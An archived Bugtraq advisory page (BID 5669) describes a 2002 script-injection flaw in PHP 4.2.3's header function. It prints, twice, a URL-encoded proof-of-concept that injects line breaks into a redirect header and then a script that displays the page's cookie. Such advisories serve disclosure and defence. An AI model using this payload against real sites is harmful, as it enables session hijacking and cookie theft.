PHP Header Function Script Injection Vulnerability
BID:5669
Info
PHP Header Function Script Injection Vulnerability
| Bugtraq ID: | 5669 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 07 2002 12:00AM |
| Updated: | Sep 07 2002 12:00AM |
| Credit: | Vulnerability discovery credited to Matthew Murphy <[email protected]>. |
| Vulnerable: |
PHP PHP 4.2.3 |
| Not Vulnerable: | |
Exploit / POC
PHP Header Function Script Injection Vulnerability
Exploit provided by Matthew Murphy <[email protected]>:
http://localhost/redir.php?url=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%61%68%6F
%6F%2E%63%6F%6D%2F%0D%0A%0D%0A%3C%53%43%52%49%50%54%3E%61%6C%65%72%74%28%64%
6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%53%43%52%49%50%54%3E%3C%2
1%2D%2D
Exploit provided by Matthew Murphy <[email protected]>:
http://localhost/redir.php?url=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%61%68%6F
%6F%2E%63%6F%6D%2F%0D%0A%0D%0A%3C%53%43%52%49%50%54%3E%61%6C%65%72%74%28%64%
6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%53%43%52%49%50%54%3E%3C%2
1%2D%2D